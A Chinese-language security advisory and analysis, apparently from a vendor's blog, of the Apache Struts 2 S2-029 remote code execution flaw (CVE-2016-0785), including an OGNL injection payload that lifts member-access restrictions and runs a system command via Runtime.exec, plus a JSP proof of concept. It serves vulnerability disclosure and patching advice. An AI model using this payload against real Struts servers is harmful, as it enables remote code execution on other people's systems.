前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安恒信息研究员发现Struts 2高危漏洞,Apache官方致谢

安恒信息研究员发现Struts 2高危漏洞,Apache官方致谢

作者头像
安恒信息
发布2018-04-10 10:01:55
5920
发布2018-04-10 10:01:55
举报
文章被收录于专栏:安恒信息安恒信息

ApacheStruts 2是世界上最流行的Java Web服务器框架之一。不久之前,安恒信息风暴中心安全研究员在Struts 2上发现了一枚远程代码执行漏洞,受影响版本Struts 2.0.0 – Struts 2.3.24.1,目前Apache官方已发布公告,该漏洞危险级别为高危。

安恒信息风暴中心安全研究员nike.zheng在3月16日发现一个严重的远程代码执行漏洞(CVE-2016-0785),并于3月18日报告给Struts2官方,近日,安恒信息收到Struts2官方的确认和感谢。

Struts2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

安恒信息提醒开发者及用户,当重分配传入Struts标签属性的参数时,总是进行验证,建议用户将Struts升级至 2.3.25版本,以防被不法企图者恶意利用。

参考阅读:http://struts.apache.org/docs/s2-029.html

s2-029 Apache Struts2 标签远程代码执行分析

>>>>

标签介绍

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说Velocity和FreeMarker等模板技术中的使用。

>>>>

漏洞分析

s2-029没有漏洞细节,但通过分析源码已重现漏洞。多个标签存在问题,在i18n,text等标签(可能还存在其他标签)的name属性处理的时候会经过两次ognl执行,从而导致远程代码执行。

标签使用如下所示:

<s:i18n name="%{#request.lan}">xxxxx</s:i18n>

<s:text name="%{#request.lan}">xxxxx</s:text>

上面两个标签name属性都存在问题 下面对i18n标签做分析

跟踪i18n标签name属性在代码中的处理:

org.apache.struts2.components.I18n

……

public boolean start(Writer writer) {

boolean result = super.start(writer);

try

{

String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo_en”);//对i18n的name属性进行ognl执行并将结果赋值给name

ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);//对上面获取的name属性继续做ognl表达式执行

……

}

}

其中对findString方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(String expr, String field, String errorMsg)方法,该方法是用来执行ognl表达式。

其中findValue方法进行跟踪,则可以跟踪到

com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(String expr, boolean throwExceptionOnFailure)方法,该方法也是用来执行ognl表达式。

>>>>测试流程

假设设置request的lan属性为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

其中运行的ognl表达式为%{request.lan},则第一次ognl表达式执行结果为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

执行完成之后name的值为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

然后将name值传入下面一行代码执行ognl,其中ognl表达式变为

getText(”),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)

从而导致命令执行在/tmp目录下生成dbapptest文件

其中poc中需要设置#_memberAccess[‘allowPrivateAccess’]=true用来授权访问private方法,#_memberAccess[‘allowStaticMethodAccess’]=true用来授权允许调用静态方法, #_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’]用来将受限的包名设置为空 #_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’]用来将受限的类名设置为空 #a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)执行系统命令

>>>>

漏洞POC

<%@page import="java.util.HashSet"%>

<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>

<%@ taglib prefix=”s” uri=”/struts-tags” %>

<html>

<head><title>Demo jsp page</title></head>

<body>

<%

request.setAttribute(“lan”, “‘),#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/fuckxxx’),new java.lang.String(‘”);

%>

<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>

</body>

</html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-03-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安恒信息 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • s2-029 Apache Struts2 标签远程代码执行分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档